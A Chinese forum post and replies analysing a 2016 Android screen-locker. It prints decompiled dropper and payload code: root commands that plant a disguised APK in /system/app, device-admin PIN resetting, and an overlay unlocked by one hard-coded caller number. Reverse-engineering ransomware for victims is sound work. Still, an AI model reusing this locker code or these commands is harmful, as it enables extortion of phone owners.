wnagzihxain 发表于 2016-9-3 22:25

对电话解锁锁机的分析以及一点点思考

本帖最后由 wnagzihxain 于 2016-9-4 12:05 编辑

报告名称:对电话解锁锁机的分析以及一点点思考                                          作者:wnagzihxain                                                   报告更新日期:2016.09.03样本发现日期:不详                                    样本类型:锁机                              样本文件大小/被感染文件变化长度:   样本文件MD5 校验值:               样本文件SHA1 校验值:            壳信息:无                                                   可能受到威胁的系统:安卓                  相关漏洞:无                                                已知检测名称:无
前段时间有同学在样本区发了个样本,是一个关于锁机的样本,不过帖子里面介绍解锁方式是电话解锁,虽然只有简单几个字,不过已经可以猜到一点了

作为一个样本搜集狂热爱好者,赶紧下载回来整了一波,嗯,当时比较晚了,所以只是简单看了一下解锁方式,果然是只有当指定电话打过来才会解锁,然后就没有看下去了

距离那一次的分析间隔也漫长时间了,大四狗要做毕设,今天详细的记录一下这个样本的分析过程,然后还有一些关于锁机的思考

都是简单的东西,让大牛们见笑了

完全没分析过的同学或者请先看看我最早的分析文章,不然可能有些地方会看不懂哦

看Manifest.XML先,可以了解到package名,然后入口Activity是c,还有权限之类的
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.xnnckz">
    <application android:debuggable="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme">
      <activity android:label="@string/app_name" android:name=".c">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
      </activity>
    </application>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
</manifest>
简单的看了下之后,来看反编译的代码



按照刚才的的信息来找到入口

然后就是看代码了,可以看出来这是在把assets文件夹里面的ijm-x86.so读出来,重新写成一个名为zihao.l的文件
package com.xnnckz;

import adrt.ADRTLogCatReader;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.os.Environment;
import android.view.View;
import android.view.View$OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class c extends Activity {
    final class ButtonClickListener implements View$OnClickListener {
      private final c this$0;

      public ButtonClickListener(c arg1) {
            super();
            c.this = arg1;
      }

      static c access$0(ButtonClickListener arg1) {
            return arg1.this$0;
      }

      @Override public void onClick(View arg2) {
            new b().rootShell();
            a.deleteFile(c.this.file);
      }
    }

    private Button b;
    a del;
    String file;
    String path;
    private EditText t;

    public c() {
      super();
      this.del = new a();
      this.path = this.g();
      this.file = new StringBuffer().append(this.path).append("/zihao.l").toString();
    }

    private void d(String arg6) throws IOException {
      FileOutputStream fileOutputStream0 = new FileOutputStream(arg6);
      InputStream inputStream0 = this.getAssets().open("ijm-x86.so");
      byte[] array_b = new byte;
      int i;
      for(i = inputStream0.read(array_b); i > 0; i = inputStream0.read(array_b)) {
            ((OutputStream)fileOutputStream0).write(array_b, 0, i);
      }

      ((OutputStream)fileOutputStream0).flush();
      inputStream0.close();
      ((OutputStream)fileOutputStream0).close();
    }

    public final String g() {
      String string0 = null;
      if(Environment.getExternalStorageState().equals("mounted")) {
            string0 = Environment.getExternalStorageDirectory().getAbsolutePath();
      }

      return string0;
    }

    @Override protected void onCreate(Bundle arg3) {
      ADRTLogCatReader.onContext(((Context)this), "com.aide.ui");
      super.onCreate(arg3);
      this.setContentView(2130903040);
      this.b = this.findViewById(2131099648);
      this.t = this.findViewById(id.mainEditText1);
      this.b.setOnClickListener(new ButtonClickListener(this));
      try {
            this.d(new StringBuffer().append(this.path).append("/zihao.l").toString());
      }
      catch(IOException iOException0) {
      }
    }

    @Override protected void onDestroy() {
      a.deleteFile(this.file);
      super.onDestroy();
    }
}
然后在b.class里面可以看到这么一段指令,那么可以看到,刚刚那个zihao.l文件拷贝进了/system/app,这是系统app所在的文件夹,当系统启动后会对这个文件夹的app做一系列的操作,就不展开了,然后记住这个文件的名字是zihao.apk,反过来也就是刚才那个ijm-x86.so并不是一个so,而是一个apk
void rootShell() {
    b.execCommand(new String[]{"mount -o rw,remount /system",
      "mount -o rw,remount /system/app",
      "cp /sdcard/zihao.l /system/app/",
      "chmod 777 /system/app/zihao.l",
      "mv /system/app/zihao.l /system/app/zihao.apk",
      "chmod 644 /system/app/zihao.apk",
      "reboot"}, true);
}
那我们的重心只需要放在这个ijm-x86.so上面就行

改后缀后将这个文件载入Jeb,先来看Manifest.XML
<?xml version="1.0" encoding="utf-8"?>
<manifest package="com.cjk" xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" />
    <uses-permission android:name="android.permission.VIBRATE" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" />
    <application android:debuggable="true" android:icon="@drawable/icon" android:label="@string/app_name" android:theme="@style/AppTheme">
      <activity android:label="@string/app_name" android:name=".M">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
      </activity>
      <service android:name="s" />
      <receiver android:name="bbb">
            <intent-filter android:priority="2147483647">
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
      </receiver>
      <receiver android:description="@string/hello" android:name=".MyAdmin">
            <meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin" />
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
      </receiver>
    </application>
</manifest>
那么这个就比刚才那个丰富多了,这才是一个锁机应该有的Manifest.XML嘛

你说刚才那个连一个开机自启动都没有,一重启就没了,锁毛线

同样,看package和入口Activity

找到入口Activity,顺便修改一下变量名,弹出设备管理器的获取窗口,通常锁机一定会重写部分MyAdmin的方法,比如Enable,DisAble之类的
package com.cjk;

import LogCatBroadcaster;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.os.Parcelable;

public class MainActivity extends Activity {
    public MainActivity() {
      super();
    }

    private void activiteDevice() {
      Class v8;
      MainActivity v0 = this;
      Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
      ComponentName componentName = null;
      ComponentName v6 = null;
      MainActivity v7 = v0;
      try {
            v8 = Class.forName("com.cjk.MyAdmin");
      }
      catch(ClassNotFoundException v5_1) {
            throw new NoClassDefFoundError(v5_1.getMessage());
      }

      super(((Context)v7), v8);
      intent.putExtra("android.app.extra.DEVICE_ADMIN", ((Parcelable)componentName));
      v0.startActivityForResult(intent, 0);
    }

    @Override public void onCreate(Bundle arg6) {
      LogCatBroadcaster.start(this);
      super.onCreate(arg6);
      this.activiteDevice();
    }
}
跟到com.cjk.MyAdmin看一下都重写了哪些方法

注释写的已经蛮详细的了
package com.cjk;

import android.app.admin.DeviceAdminReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

public class MyAdmin extends DeviceAdminReceiver {
    public MyAdmin() {
      super();
    }

    @Override public CharSequence onDisableRequested(Context arg10, Intent arg11) {// 取消激活设备管理器
      String v4 = Integer.toString(9836);// 锁屏的PIN码
      this.getManager(arg10).lockNow();// 锁屏
      this.getManager(arg10).resetPassword(v4, 0);// 设置锁屏PIN码
      return super.onDisableRequested(arg10, arg11);// 取消激活的时候会锁屏,并重设PIN码
    }

    @Override public void onEnabled(Context arg17, Intent arg18) {// 激活设备管理器
      Class v11;
      MyAdmin v0 = this;
      Context v1 = arg17;
      Intent v2 = arg18;
      String v4 = Integer.toString(9836);// 锁屏的PIN码
      Intent v8 = null;
      Intent v9 = null;
      Context v10 = v1;
      try {
            v11 = Class.forName("com.cjk.s");
      }
      catch(ClassNotFoundException v8_1) {
            throw new NoClassDefFoundError(v8_1.getMessage());
      }

      super(v10, v11);
      v8.setFlags(268435456);
      v1.startService(v8);
      v0.getManager(v1).resetPassword(v4, 0);// 设置锁屏PIN码
      super.onEnabled(v1, v2);// 激活设备管理器的时候会重设锁屏PIN码,并执行s
    }

    @Override public void onPasswordChanged(Context arg10, Intent arg11) {// 密码改变
      String v4 = Integer.toString(9836);// 锁屏的PIN码
      this.getManager(arg10).lockNow();// 锁屏
      this.getManager(arg10).resetPassword(v4, 0);// 设置锁屏PIN码
      super.onPasswordChanged(arg10, arg11);
    }

    @Override public void onReceive(Context arg8, Intent arg9) {
      Log.i("------", "onReceive-----");
      super.onReceive(arg8, arg9);
    }
}
那么激活设备管理器之后,会执行s

那就跳到s看看
package com.cjk;

import android.app.Application;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences$Editor;
import android.content.SharedPreferences;
import android.media.AudioManager;
import android.media.MediaPlayer;
import android.os.IBinder;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.WindowManager$LayoutParams;
import android.view.WindowManager;
import android.widget.TextView;
import com.android.internal.telephony.ITelephony;
import java.lang.reflect.Method;

public class LockService extends Service {
    class IncomingCallReceiver extends BroadcastReceiver {
      private final LockService LockService_this;

      public IncomingCallReceiver(LockService arg6) {
            super();
            LockService.this = arg6;
      }

      static LockService access$0(IncomingCallReceiver arg4) {
            return arg4.LockService_this;
      }

      @Override public void onReceive(Context arg14, Intent p_intent) {
            IncomingCallReceiver IncomingCallReceiver_1 = this;
            Intent intent = p_intent;
            String intent_Action = intent.getAction();
            Log.d(LockService.TAG, new StringBuffer().append("action:").append(intent_Action).toString());
            if("android.intent.action.PHONE_STATE".equals(intent_Action)) {
                Log.i(LockService.TAG, new StringBuffer().append("State: ").append(intent.getStringExtra("state")).toString());
                String incoming_number = intent.getStringExtra("incoming_number");
                Log.d(LockService.TAG, new StringBuffer().append("Incomng Number: ").append(incoming_number).toString());
                String incoming_number_MD5 = MD5Util.getMD5String(incoming_number);
                IncomingCallReceiver IncomingCallReceiver_2 = IncomingCallReceiver_1;
                try {
                  if(IncomingCallReceiver_2.LockService_this.eq.equals(incoming_number_MD5)) {
                        IncomingCallReceiver_1.LockService_this.mAudioManager.setRingerMode(0);
                        IncomingCallReceiver_1.LockService_this.iTelephony.endCall();
                        IncomingCallReceiver_1.LockService_this.mAudioManager.setRingerMode(2);
                        IncomingCallReceiver_1.LockService_this.mWindowManager.removeView(IncomingCallReceiver_1.LockService_this.mFloatLayout);
                        IncomingCallReceiver_1.LockService_this.stopSelf();
                        return;
                  }

                  IncomingCallReceiver_1.abortBroadcast();
                }
                catch(Exception v9_1) {
                }
            }
      }
    }

    private static final String TAG;
    TextView bah;
    TextView cjk;
    DU des;
    SharedPreferences$Editor editor;
    private String eq;
    private ITelephony iTelephony;
    private AudioManager mAudioManager;
    private View mFloatLayout;
    private IncomingCallReceiver mReceiver;
    private WindowManager mWindowManager;
    SharedPreferences share;
    TextView tv;
    TextView wb;
    private WindowManager$LayoutParams wmParams;

    static final {
      Class v2_1;
      try {
            v2_1 = Class.forName("com.cjk.s");
      }
      catch(ClassNotFoundException v2) {
            throw new NoClassDefFoundError(v2.getMessage());
      }

      LockService.TAG = v2_1.getSimpleName();
    }

    public LockService() {
      super();
      this.eq = "73074846EE1EC1706921E73E065BA4B7";
    }

    static String access$L1000000() {
      return LockService.TAG;
    }

    static ITelephony access$L1000002(LockService arg4) {
      return arg4.iTelephony;
    }

    static AudioManager access$L1000003(LockService arg4) {
      return arg4.mAudioManager;
    }

    static String access$L1000004(LockService arg4) {
      return arg4.eq;
    }

    static WindowManager access$L1000006(LockService arg4) {
      return arg4.mWindowManager;
    }

    static View access$L1000007(LockService arg4) {
      return arg4.mFloatLayout;
    }

    static void access$S1000000(String arg4) {
      LockService.TAG = arg4;
    }

    static void access$S1000002(LockService arg6, ITelephony arg7) {
      arg6.iTelephony = arg7;
    }

    static void access$S1000003(LockService arg6, AudioManager arg7) {
      arg6.mAudioManager = arg7;
    }

    static void access$S1000004(LockService arg6, String arg7) {
      arg6.eq = arg7;
    }

    static void access$S1000006(LockService arg6, WindowManager arg7) {
      arg6.mWindowManager = arg7;
    }

    static void access$S1000007(LockService arg6, View arg7) {
      arg6.mFloatLayout = arg7;
    }

    private void c() {
      LockService LockService_this = this;
      LockService_this.wmParams = new WindowManager$LayoutParams();
      Application v13 = LockService_this.getApplication();
      LockService_this.getApplication();
      LockService_this.mWindowManager = v13.getSystemService(Context.WINDOW_SERVICE);
      LockService_this.wmParams.type = 2010;
      LockService_this.wmParams.format = 1;
      LockService_this.wmParams.flags = 1280;
      LockService_this.wmParams.gravity = 49;
      LockService_this.wmParams.x = 0;
      LockService_this.wmParams.y = 0;
      LockService_this.wmParams.width = -1;
      LockService_this.wmParams.height = -1;
      LockService_this.mFloatLayout = LayoutInflater.from(LockService_this.getApplication()).inflate(2130903041, null);
      MediaPlayer v2 = MediaPlayer.create(LockService_this, 2131099648);
      v2.setLooping(true);
      v2.start();
      LockService_this.mWindowManager.addView(LockService_this.mFloatLayout, LockService_this.wmParams);
      LockService_this.wb = LockService_this.mFloatLayout.findViewById(2131361792);
      LockService_this.bah = LockService_this.mFloatLayout.findViewById(2131361793);
      LockService_this.cjk = LockService_this.mFloatLayout.findViewById(2131361794);
      LockService_this.tv = LockService_this.mFloatLayout.findViewById(2131361795);
      try {
            String v7 = MD5Util.getbah("626fcaf7df9278dl0aff3aaca07a5b8c88fd66ld54f277cc01852adc05565ff96a5cfa22la1bf9c9fal934132b8a4d212ba05bad14ad34cb812d751d0l47c41df95c0fffa333772bcd5980b13l5699c8fd0587cl8f493c4d5b8156d4d24c04bfd4ld01fb59l3c6a80f979303ab9a93f3");
            String v8 = MD5Util.getbah("69ll219a612f396f774a98a5a865c657lad9311608360b26d05l1c6151b5ll326953986a53ldd92dafd2clff8b6707cllb75bdd4821b3lb747f256bb22606f8854ba778ball012cbc74942d396570l79cf9065d0cb39c948");
            String v9 = MD5Util.getbah("e02a4da7da50c33b7e67eb7e99b80205f3e73ae8eaeedcfb713408294d9ec3e7");
            String v10 = MD5Util.getbah("8ddba52bda232d3b5a9012bd7b30f7579d4e9a986936f16a1667579f5ec4552483e89d01c3a7e130");
            LockService_this.wb.append(LockService_this.des.decrypt(v7));
            LockService_this.bah.append(LockService_this.des.decrypt(v8));
            LockService_this.cjk.append(LockService_this.des.decrypt(v9));
            LockService_this.tv.append(LockService_this.des.decrypt(v10));
      }
      catch(Exception v12) {
      }
    }

    public boolean is(Context arg5) {
      return 0;
    }

    @Override public IBinder onBind(Intent arg5) {
      return null;
    }

    @Override public void onCreate() {
      Class v6_2;
      LockService LockService_this = this;
      super.onCreate();
      LockService_this.mReceiver = new IncomingCallReceiver(LockService_this);
      IntentFilter v1 = new IntentFilter();
      v1.addAction("android.intent.action.PHONE_STATE");
      v1.addAction("android.provider.Telephony.SMS_RECEIVED");
      LockService_this.registerReceiver(LockService_this.mReceiver, v1);
      LockService_this.mAudioManager = LockService_this.getSystemService("audio");
      Object v2 = LockService_this.getSystemService("phone");
      try {
            v6_2 = Class.forName("android.telephony.TelephonyManager");
            goto label_43;
      }
      catch(Exception v6) {
      }
      catch(ClassNotFoundException v6_1) {
            ClassNotFoundException v4 = v6_1;
            try {
                throw new NoClassDefFoundError(v4.getMessage());
            label_43:
                Method v3 = v6_2.getDeclaredMethod("getITelephony", null);
                v3.setAccessible(true);
                LockService_this.iTelephony = v3.invoke(v2, null);
            }
            catch(Exception v6) {
            }
      }

      LockService_this.des = new DU("bah.java");
      LockService v6_3 = LockService_this;
      try {
            v6_3.des = new DU(LockService_this.des.decrypt("8e6762e8737463a957dc390bff4eb8e8"));
      }
      catch(Exception v6) {
      }

      LockService_this.share = LockService_this.getSharedPreferences("by:洛天依QQ1873651303么么踹", 0);
      LockService_this.editor = LockService_this.share.edit();
      LockService_this.getApplication().getSystemService("vibrator").vibrate(new long[]{((long)100), ((long)1500), ((long)100), ((long)1500)}, 0);
    }

    @Override public void onDestroy() {
      super.onDestroy();
      this.unregisterReceiver(this.mReceiver);
    }

    public void onStart(Intent arg8, int arg9) {
      super.onStart(arg8, arg9);
      this.c();
    }
}
稍微修改了一下变量名,不过看代码可以看出来这就是锁机的比较关键代码了

找到onCreate代码段,看不出什么东西,中间那个Class.forName看着关键其实不然
@Override
public void onCreate() {
    Class v6_2;
    LockService LockService_this = this;
    super.onCreate();
    LockService_this.mReceiver = new IncomingCallReceiver(LockService_this);
    IntentFilter v1 = new IntentFilter();
    v1.addAction("android.intent.action.PHONE_STATE");
    v1.addAction("android.provider.Telephony.SMS_RECEIVED");
    LockService_this.registerReceiver(LockService_this.mReceiver, v1);
    LockService_this.mAudioManager = LockService_this.getSystemService("audio");
    Object v2 = LockService_this.getSystemService("phone");
    try {
      v6_2 = Class.forName("android.telephony.TelephonyManager");
      goto label_43;
    }catch(Exception v6) {
    }catch(ClassNotFoundException v6_1) {
         ClassNotFoundException v4 = v6_1;
      try {
            throw new NoClassDefFoundError(v4.getMessage());
      label_43:
            Method v3 = v6_2.getDeclaredMethod("getITelephony", null);
            v3.setAccessible(true);
            LockService_this.iTelephony = v3.invoke(v2, null);
      }catch(Exception v6) {
      }
    }

    LockService_this.des = new DU("bah.java");
    LockService v6_3 = LockService_this;
    try {
      v6_3.des = new DU(LockService_this.des.decrypt("8e6762e8737463a957dc390bff4eb8e8"));
    }catch(Exception v6) {
    }

    LockService_this.share = LockService_this.getSharedPreferences("by:洛天依QQ1873651303么么踹", 0);
    LockService_this.editor = LockService_this.share.edit();
    LockService_this.getApplication().getSystemService("vibrator").vibrate(new long[]{((long)100), ((long)1500), ((long)100), ((long)1500)}, 0);
}
通常简单的锁机都是先random一个随机数当做序列码,然后加减乘除算出一个解锁密码

并且将这几个数值加密后写进sp文件,这样下次启动的时候直接读取就行,然后解锁的时候直接读取sp的键值进行对比

因为这个不是通过输入解锁密码解锁的,所以这段代码应该是找不到的,不排除那些锁机开发者在原来的版本上进行二次开发的可能性,因为很多样本的代码非常杂,看的出来是开发过多次的

并且开发的水平并不高

嗯,开发的水平并不高

继续来看这个,既然没有解锁密码之类的,那就找找解锁方法吧

这里有一个小技巧,如果代码非常多,上千行,不排除有这种样本哦

可以搜索removeView和stopSelf这两个关键词,因为如果真的存在解锁的代码段的话,应该会使用remove和stopSelf的

之所以说如果,因为我曾经见过一个样本,界面吹得天花乱坠,扫码付款,诚信做人,结果逆向一看,就只有加锁,解锁的代码直接没有。。。。。。

搜一下,搜到了

一个Receiver,看命名也可以看出来,接收来电Action
class IncomingCallReceiver extends BroadcastReceiver {
    private final LockService LockService_this;

    public IncomingCallReceiver(LockService arg6) {
      super();
      LockService.this = arg6;
    }

    static LockService access$0(IncomingCallReceiver arg4) {
      return arg4.LockService_this;
    }

    @Override
    public void onReceive(Context arg14, Intent p_intent) {
      IncomingCallReceiver IncomingCallReceiver_1 = this;
      Intent intent = p_intent;
      String intent_Action = intent.getAction();
      Log.d(LockService.TAG, new StringBuffer().append("action:").append(intent_Action).toString());
      if("android.intent.action.PHONE_STATE".equals(intent_Action)) {
            Log.i(LockService.TAG, new StringBuffer().append("State: ").append(intent.getStringExtra("state")).toString());
            String incoming_number = intent.getStringExtra("incoming_number");
            Log.d(LockService.TAG, new StringBuffer().append("Incomng Number: ").append(incoming_number).toString());
            String incoming_number_MD5 = MD5Util.getMD5String(incoming_number);
            IncomingCallReceiver IncomingCallReceiver_2 = IncomingCallReceiver_1;
            try {
                if(IncomingCallReceiver_2.LockService_this.eq.equals(incoming_number_MD5)) {
                  IncomingCallReceiver_1.LockService_this.mAudioManager.setRingerMode(0);
                  IncomingCallReceiver_1.LockService_this.iTelephony.endCall();
                  IncomingCallReceiver_1.LockService_this.mAudioManager.setRingerMode(2);
                  IncomingCallReceiver_1.LockService_this.mWindowManager.removeView(IncomingCallReceiver_1.LockService_this.mFloatLayout);
                  IncomingCallReceiver_1.LockService_this.stopSelf();
                  return;
                }
                IncomingCallReceiver_1.abortBroadcast();
            }catch(Exception v9_1) {
            }
      }
    }
}
提取了关键的几句
String incoming_number = intent.getStringExtra("incoming_number");
String incoming_number_MD5 = MD5Util.getMD5String(incoming_number);
一大堆乱七八糟的就不看了,直接看if的条件
if(IncomingCallReceiver_2.LockService_this.eq.equals(incoming_number_MD5))
让eq等于来电号码的MD5,找一下eq的定义
this.eq = "73074846EE1EC1706921E73E065BA4B7";
拿去解密一下
15186911291
那么很清楚了,解锁方式就是让作者用这个号码给你的手机打个电话,或者说,让“这个号码”给你的手机来个电


从我接触锁机开始,这里并不包括病毒木马之类,仅仅是锁机

最早是就一个简单的apk,序列码解锁,方式上面已经写了,这种锁机非常好解决,直接使用反编译工具找到关键代码就可以解锁,然后取消激活设备管理器就可以卸载

然后出现了一些扫码解锁,那个二维码其实就是一个按钮,而且输入框有的还找不到,因为很小很小很小很小很小。。。。。。

再接着就有一些使用ijm-x86.so这种形式,一个可以躲过杀软的检测,还可以造成一种爱加密加固的假象,有些想试着逆向的同学看到这个估计就不会继续下去了,通常这种会写进/system/app文件夹,长按无法卸载

后来又出现使用设备管理器漏洞的锁机,简单来说就是激活后,想取消激活的时候会锁屏7秒,简称7秒锁屏法,然后就可以组织用户取消激活,无法取消激活也就是永远卸载不掉(Android设备管理器取消激活漏洞)

最近的一段时间我收到两个有意思的样本,一个是通过访问指定页面,如果指定页面有一个十个字母随机字符串即可解锁(对锁机APP"防蹭网大师"的逆向分析),还有一个就是这个电话解锁了

不过,如果看这篇文章的吃瓜群众中有写锁机的,我建议你们代码写的好看些,不必要的package就delete,你说要是后人想要接着维护这个锁机,打开源码一看,肯定是想着:这个开发者的水平真差,特么不写注释代码写的还垃圾,作为开发者我觉得很丢脸

然后是解锁

能找到解锁密码的就直接找解锁密码,然后重置一下PIN码就行

没有解锁密码的,比如需要访问一个网页,那个页面有特殊字符串的那种,如果是连着WiFi,那么搞一下路由就可以了,如果连着2G,3G,4G。。。。。。

然后是本文这种电话解锁的,不知道改号软件可不可以搞一下,有待各位吃瓜群众讨论研究一下

至于一些常用解锁,锁机发展到现在这个阶段,双清是完全没作用的,可以刷机,可以安全模式(这个我不清楚,没搞过),如果开了USB调试且电脑授权了的话,可以直接adb命令来删除(这个比较直接)

当然,付钱最省事,就当长个教训

你说安装这些什么免流,辅助之前在模拟器上面运行一下不行吗??????

如果是锁机直接就看出来了


你也不能天天被锁了就跑来求解锁啊是吧,哪有那么多热心的吃瓜群众帮你看,有些还要脱壳。。。。。。是的,有些锁机特么的被加固了,真的被加固了,是数字壳!!!!!!


图片仅仅用于说明被锁机的瓜友数量还是蛮多的


各位瓜友,晚安






wnagzihxain 发表于 2016-9-4 02:22

Hoimk 发表于 2016-9-4 00:09
开发的水平并不高我难道会说是因为大多数都是16-18的青少年搞得....而且还是在手机端上的AIDE上操作的。 ...

送你一个解密的https://hashkiller.co.uk/md5-decrypter.aspx,自己写一下脚本跑的话。。。。。。

wnagzihxain 发表于 2016-9-4 09:14

小贱、网络 发表于 2016-9-4 07:43
换成朋友的,然后用朋友手机打电话,不就可以解开了

它已经锁上了怎么换呢?除非手机开usb调试并且授权了电脑调试,然后使用的安卓系统签名漏洞没修复

推两把 发表于 2016-9-3 22:33

霸气郇哥 发表于 2016-9-3 22:35

厉害了可我看不懂

boboqcc 发表于 2016-9-3 22:37

好久没有来上网了啦,嘿嘿

晖哥 发表于 2016-9-3 22:41

呜呜呜 看不懂

87889077 发表于 2016-9-3 22:50

Faithful丶o 发表于 2016-9-3 22:53

感谢学习了。

小贱、网络 发表于 2016-9-3 22:55

可不可以把作者的电话换成其他的

zxc1164428120 发表于 2016-9-3 23:06

1.可以轰炸这手机号2.可以把手机号改成其他的吗,不然这个锁还是解不开啊

fo66 发表于 2016-9-3 23:12

都是大师啊 我个小菜鸟{:17_1051:}
页: [1] 2 3
查看完整版本: 对电话解锁锁机的分析以及一点点思考